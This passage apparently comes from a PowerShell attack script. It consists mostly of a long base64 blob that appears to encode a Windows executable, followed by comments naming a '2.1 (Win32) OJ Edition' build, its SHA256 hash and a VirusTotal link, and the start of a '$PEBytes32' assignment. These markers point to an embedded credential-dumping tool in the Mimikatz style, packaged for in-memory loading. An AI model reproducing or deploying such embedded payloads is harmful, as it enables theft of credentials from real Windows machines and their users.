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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAgAdAAAALiswKzgrOis8Kz4rBCtGK0grWitcK14rYCtwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AAACgCACAAAAAAKAIoBCgGKAgoCigMKA4oECgSKBQoFigYKBooHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNCg2KDgoOig8KD4oAChCKEQoRihIKEooTChOKFAoUihUKFYoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocChyKHQodihALAIAAABAABwpoCmkKaYpqCmqKawprimwKbIptim4KbopvCm+KYApwinEKcopzinQKdIp1CnWKcgqSipMKk4qUCpSKlQqVipYKloqXCpeKmAqYipkKmYqaCpqKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CreKuAq4irkKuYq6CrqKuwq7irwKvIq9Cr2Kugr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AAADACABAAAAAAKAIoBCgGKAgoCigMKA4oIiukK6YrqCuGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAAAA0AgAtAEAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKFIoVihaKF4oYihmKGoobihyKHYoeih+KEIohiiKKI4okiiWKJooniiiKKYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrQAAAOAIAOAAAABQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq6CrsKvAq9Cr4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAA8AgA/AAAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnAAAAEAkADAAAAJisoKwAIAkAaAEAACimOKZIplimaKZ4poimkKaYpqCmqKawprimwKbIptCm2KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq2ircKt4q4CriKuQq5iroKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAMAkApAAAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGwobihwKHIodCh4KHoofCh+KEAogiiEKIYoiCiKKIwojiiQKKwo7ijwKPIo/CjcKR4pICkiKSQpJikoKSopJClmKWgpail0KUgqCioMKg4qGCoIKkoqTCpOKlgqZCqmKqgqqiq0KoAAABACQCEAAAA8KT4pAClCKUwpWincKd4p4CnkKeYp6CnqKewp7inwKfIp9Cn2KcAqAioGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCocKl4qYCpiKmQqZipoKmoqbCpuKnAqdiqSK1QrVitYK0AAABQCQBIAAAAKKAwoDigQKBIoFCgMKI4okCiSKJQooiikKKYoqCiqKKworiiwKLIotCi2KLgogijEKNIrVitaK1wrXitiK2YrQBgCQBUAAAACKYQphimKKYwpjimiKaQpqimsKa4psCmyKbQptim4KbopvCmyKfQp+in8Kf4pzisQKxYrPisAK0YrbCvuK/Ar9Cv2K/gr+iv8K/4rwBwCQA4AgAAAKAYoCCgOKDooNCh2KHgoeih8KH4oQCimKOgo6ijsKO4o8CjcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcwpzinQKdIp1CnWKdgp2incKd4p4CniKeQp5inoKeop7CnuKfAp8in0KfYp+Cn6Kfwp/inAKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKkwqTipQKlIqVCpWKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqkiqUKpYqmCqaKpwqniqgKqIqpCqmKqgqrCquKrAqtCq2KrwqviqEKsYqzCrOKtAq1CrWKtgq3CreKuAq5CrmKuwq7ir0KvYq/Cr+KsQrBisMKw4rFCsWKxwrHiskKyYrLCsuKzArNCs2KzgrPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitEK4YrlCuWK5grmiucK54rvCu+K4ArwivEK8YryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4CviK+Qr6CvqK+4r8CvyK/Qr9iv4K8AgAkAyAIAAAigEKAYoCCgKKAwoDigQKBYoHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNCg2KDgoOig8KAAoQihGKEgoTChOKFAoVihcKF4oYChiKGQoZihoKGoobChuKHAodih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQouiiAKMIoxCjGKMgoyijMKM4o0CjSKNQo1ijYKNoo3CjeKOAo4ijkKOYo6CjqKOwo8ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopMCk2KTgpOik+KQQpRilIKUopTClOKVApUilUKVYpWClaKVwpXilgKWIpZClmKWgpailsKW4pcClyKXQpdil4KXopfCl+KUApgimEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimsKbIptCm6KYApwinEKcYpyCnKKcwpzinQKdIp1CnWKdgp2incKd4p4CniKeQp5inoKeop7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qFCoaKhwqHiogKiIqKCoqKiwqLiowKjIqNCo2KjgqOio8KgIqTCpUKlwqZCpmKmwqbip0KnYqfCpEKoYqiCqKKowqjiqSKpQqliqYKpoqnCqeKqAqoiqkKqYqqCqqKqwqriqwKrIqtCq2Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK24rgAAAJAJABwAAACAo4ijkKOYo2ikeKSApIikoKSopADgCwAQAAAAyKzgrOisAAAAYAwACAEAAGChqKHIoeihCKIooliicKJ4ooCiuKLAohCjSKVwqHiogKiIqJComKigqKiosKi4qMio0KjYqOCo6KjwqPioAKmQqZipKKs4q0CrSKtQq3irgKuIq5CrmKugq6irsKu4q8ir8KsArBCsIKxArEisWKxwrIiskKygrKisuKzArNCs2KzorPCsAK0IrRitIK0wrTitSK1grXitgK2QrZitqK2wrcCt2K3grfCt+K0IrhCuIK4orjiuQK5QrliuaK5wroCuiK6YrqCusK64rsiu4K7orviuAK8QrxivKK8wr0CvSK9Yr2CvcK94r4ivkK+gr6ivuK/Ar9Cv2K/or/CvAAAAcAwAYAEAAACgCKAYoCCgMKA4oEigUKBgoHigkKCYoKigsKDAoMig2KDgoPCg+KAIoRChIKEooTihQKFQoVihaKFwoYChiKGYoaChsKG4ocih0KHgoeih+KEAohCiKKIwokCiSKJYonCiiKKgorii0KLoogCjCKMYoyCjMKM4o0ijYKN4o5CjqKOwo3iliKWYpbClwKXQpeil+KUIplimaKZwpnimgKaoprCmuKbApsim0KbYpuCmCKcYp0CnUKd4p4insKfAp+in+KcgqDCoWKhoqJCooKjIqNioAKkQqUipcKl4qYCpqKm4qfCpGKogqiiqUKpgqoiqmKrAqtCq+KoIqzCrQKtoq3iroKuwq9ir6KsQrCCsSKxYrICskKy4rMis8KwArSitOK1grXCtmK2ordCt4K0IrhiuQK5QrniuiK6wrsCu6K74riCvMK9Yr2ivkK+gr8iv0K/YrwAAAIAMANgAAAAAoAigEKA4oECgSKBwoHiggKCooLCguKDgoOig8KAYoSChKKFAoVChYKF4oYihmKGwocCh0KEIokCiaKJ4ooiikKKYoqCiqKKwosCi8KJAo5CjIKQwpHCkgKTApNCkEKUgpWClcKWwpcClAKYQptCm4KYgpzCncKeAp8Cn0KcQqCCoYKiAqJCoyKjYqOioAKkQqVCpYKmgqbCp6Kn4qQiqgKqQquCqMKuAq+CrMKyArCCtMK1wrYCtwK3QrRCuIK6grrCu8K4Ar0CvUK+Qr6CvAJAMAIAAAAAAoBigMKBQoGCgoKCwoPCgAKFAoVCh8KEAokCiUKKQoqCi4KLwojCjQKOAo5Cj+KMApECkkKTgpDCl8KVAppCm4KYwp4CnAKhQqKCo8KhAqZCp4KkwqoCq0Kogq3CrwKsQrGCssKwQrSitgK3QrXCuwK4Qr2CvsK8AoAwAcAAAAACgUKCQoJigqKDgoPigMKFIoZCh4KEwooCi0KIgo3Cj4KPoo/ijQKSQpOCkMKWApdClIKZwprCmuKbIphCnUKdYp2insKcAqFCosKi4qMioEKlgqaCpqKm4qQCqUKqgquCq6Kr4qgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # 2.1 (Win32) 20161029 OJ Edition! + # SHA256 hash: BE3414602121B6D23FC06EDB6BD01AD60B584485266120C242877BBD4F7C8059 + # VirusTotal Analysis: https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/ + $PEBytes32 = 